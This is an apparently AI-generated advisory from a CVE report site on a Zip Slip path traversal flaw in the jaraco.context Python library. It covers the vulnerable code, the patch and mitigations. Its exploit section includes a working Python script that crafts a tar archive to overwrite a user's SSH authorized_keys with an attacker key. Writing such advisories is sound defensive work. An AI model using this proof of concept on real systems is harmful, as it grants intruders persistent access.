CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-58PV-8J8X-9VJ2
8.60.06%

Unzipping Disaster: The jaraco.context Zip Slip

Alon Barad
Alon Barad
Software Engineer

Feb 20, 2026·7 min read·38 visits

PoC Available

Executive Summary (TL;DR)

The `jaraco.context` library failed to sanitize paths after stripping the leading directory from tarball entries. Attackers can craft archives containing paths like `root/../../etc/passwd` to overwrite sensitive system files when the archive is processed. Fixed in v6.1.0.

A classic 'Zip Slip' path traversal vulnerability exists in the `jaraco.context` Python library, specifically within the `tarball` context manager. By crafting a malicious tar archive with traversal sequences nested inside a directory structure, an attacker can bypass the `strip_first_component` filter and write arbitrary files to the host filesystem. This vulnerability affects versions prior to 6.1.0.

The Hook: When Helper Libraries Hurt

We often ignore the plumbing. In the Python ecosystem, jaraco.context is exactly that—a small, unassuming package providing context managers and decorators. It’s the kind of library you probably didn't install explicitly; it was likely dragged in by a massive dependency like setuptools. But boring infrastructure code is the favorite hunting ground for vulnerability researchers. Why? Because nobody looks at it.

In early 2026, researchers found that this library's handling of tarballs wasn't just helpful—it was helpful to a fault. The library includes a utility designed to download and extract tar archives, with a specific feature to strip the top-level directory. This is a common convenience feature (similar to tar --strip-components=1), often used when downloading source code from GitHub where everything is wrapped in a versioned root folder.

However, the implementation of this convenience feature was a textbook example of "naive string manipulation." By trying to make the user's life easier, the developers inadvertently opened a wormhole in the filesystem, allowing an attacker to escape the extraction sandbox and write files anywhere the user has permissions. This is the return of "Zip Slip," a vulnerability class that refuses to die.

The Flaw: A Tale of Missing Checks

The vulnerability lives in jaraco.context.tarball() and its helper, strip_first_component. The logic seems sound on a whiteboard: "Take the file path inside the tar, find the first slash, and chop off everything before it." This effectively removes the root folder my-repo-v1.0/ from my-repo-v1.0/src/main.py, leaving you with src/main.py.

Here is where it goes wrong: the code assumed that the remaining path was safe. It didn't account for the fact that a malicious actor controls the string structure. If I hand you a path like innocent_root/../../../../etc/passwd, and you blindly strip the first component (innocent_root/), you are left with ../../../../etc/passwd.

Most modern tarfile implementations or extraction tools warn you or block you if an absolute path or a traversal sequence is found at the start of the string. But here, the modification happens after the initial parsing but before the final write. The library modifies the TarInfo object in memory and hands it back to the extraction engine. The engine sees a modified path that looks like a relative path, but resolves to an absolute location outside the current working directory. It’s a classic Time-of-Check-to-Time-of-Use (TOCTOU) logic error, where the data is sanitized (poorly) and then used without re-verification.

The Code: One-Liner to Root

Let's look at the vulnerable code. It is elegantly simple, which is usually a virtue, but fatal here. The strip_first_component function takes a tarfile.TarInfo object (which represents a file inside the archive) and modifies its path.

# The Vulnerable Implementation
def strip_first_component(member: tarfile.TarInfo, path):
    # Split at the first '/', take the second part (the rest of the path)
    member.path = member.path.partition('/')[2]
    return member

See the issue? partition is dumb. It doesn't know what a filesystem is. It just splits strings. If member.path is "exploit_dir/../pwned", the result is "../pwned". The tarball function then takes this modified member and calls extractall:

with tarfile.open(fileobj=req, mode='r|*') as tf:
    tf.extractall(path=target_dir, filter=strip_first_component)

In Python 3.12+, tarfile introduced filters (PEP 706) to prevent exactly this kind of nonsense. However, jaraco.context was using its own custom filter (strip_first_component) which completely bypassed those safety checks by modifying the path in flight.

The fix, introduced in version 6.1.0, is a lesson in functional composition. The developers didn't just add a check; they chained the custom logic with Python's native security features. They created a composer that runs the strip logic, and then passes the result through tarfile.data_filter, which is the standard, secure default that blocks traversal attacks.

# The Fix: Compose filters
def _compose_tarfile_filters(*filters):
    def compose_two(f1, f2):
        # Apply f2 (strip), then f1 (security check)
        return lambda member, path: f1(f2(member, path), path)
    return functools.reduce(compose_two, filters, lambda member, path: member)
 
# Secure chain
_default_filter = _compose_tarfile_filters(tarfile.data_filter, strip_first_component)

The Exploit: Crafting the Bomb

To exploit this, we don't need buffer overflows or heap spraying. We just need a text editor or a few lines of Python. The goal is to create a TAR archive that looks valid but contains "poisoned" entries hidden behind a sacrificial directory.

Here is how an attacker constructs the payload:

  1. Define the Bait: Create a root directory name that will be stripped, e.g., payload/.
  2. Define the Payload: Create a file entry that starts with the bait, followed by traversal characters. For example: payload/../../home/user/.ssh/authorized_keys.
  3. Pack it: Use Python's tarfile module to write this entry. You can't just tar -cvf this easily because standard tools might sanitize it on creation. You have to craft the headers manually or use a script.
# Attacker PoC Generator
import tarfile
import io
 
def generate_exploit():
    stream = io.BytesIO()
    with tarfile.open(fileobj=stream, mode='w') as tar:
        # The content we want to write
        payload = b"ssh-rsa AAAAB3NzaC1yc2E... attacker@evil.com"
        
        # The malicious path
        # 1. 'drop_me/' will be removed by strip_first_component
        # 2. '../../' breaks out of the extraction directory
        # 3. Target file is overwritten
        path = "drop_me/../../home/target_user/.ssh/authorized_keys"
        
        info = tarfile.TarInfo(name=path)
        info.size = len(payload)
        tar.addfile(info, io.BytesIO(payload))
    
    with open('update.tar', 'wb') as f:
        f.write(stream.getvalue())

When jaraco.context processes update.tar, it dutifully chops off drop_me/, leaving the deadly ../../home/target_user/.ssh/authorized_keys. Since the script is likely running with the user's permissions, it overwrites the key file. Boom. Permanent access.

The Impact: Filesystem Arbitrary Write

The impact of CVE-2026-23949 is high, primarily targeting Confidentiality and Integrity. While the CVSS score is 8.6, the real-world fallout depends heavily on who is running the code and where.

If this library is used in a CI/CD pipeline (a very common use case for setuptools related libraries) to unpack artifacts, an attacker could overwrite build scripts, injecting backdoors into production software. If run by a developer locally, it could compromise their personal environment.

In a server context, if a web application uses this to unpack user-uploaded bundles, it's Game Over. The attacker could overwrite source code files (.py, .php) to achieve Remote Code Execution (RCE) or simply replace configuration files to disable authentication. The vulnerability transforms a simple file unzip operation into a primitive for arbitrary filesystem modification.

Mitigation: Stop the Bleeding

The remediation is straightforward: Update immediately. The vulnerability is patched in jaraco.context version 6.1.0.

If you are a consumer of setuptools or other downstream libraries that vendor jaraco components, you need to check if they have released updates bundling this fix. If you cannot update, you must ensure that any tarballs processed by your application are from trusted sources only—though "trusted source" is a shaky defense in modern software supply chains.

For developers writing their own extraction logic: Stop using tarfile.extractall() blindly. Always use the filter='data' argument available in newer Python versions (PEP 706), which provides safe defaults against traversal attacks. If you are modifying paths during extraction, you must re-validate the final path against the destination directory using os.path.abspath and os.path.commonprefix before writing anything to disk.

# Manual Verification (if you can't patch)
destination = os.path.abspath(target_dir)
full_path = os.path.abspath(os.path.join(destination, member.path))
if not full_path.startswith(destination):
    raise Exception("Path traversal attempt detected!")

Official Patches

GitHubOfficial patch commit implementing filter composition.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
EPSS Probability
0.06%
Top 82% most exploited

Affected Systems

jaraco.context < 6.1.0setuptools (versions vending vulnerable jaraco.context)Python applications utilizing jaraco.context.tarball()

Affected Versions Detail

Product
Affected Versions
Fixed Version
jaraco.context
jaraco
>= 5.2.0, < 6.1.06.1.0
AttributeDetail
CVE IDCVE-2026-23949
CVSS8.6 (High)
Attack VectorNetwork (AV:N)
CWECWE-22 (Path Traversal)
Exploit StatusPoC Available
Patch Commit7b26a42b525735e4085d2e994e13802ea339d5f9

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Known Exploits & Detection

Project Test SuiteReproduction test case added to the repository demonstrating the traversal.

Vulnerability Timeline

Vulnerability discovered
2026-01-12
Patch developed (Commit 7b26a42b)
2026-01-13
CVE-2026-23949 Published
2026-01-20

References & Sources

  • [1]GHSA-58pv-8j8x-9vj2 Advisory
  • [2]PEP 706 – Filter for tarfile.extractall
Related Vulnerabilities
CVE-2026-23949

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.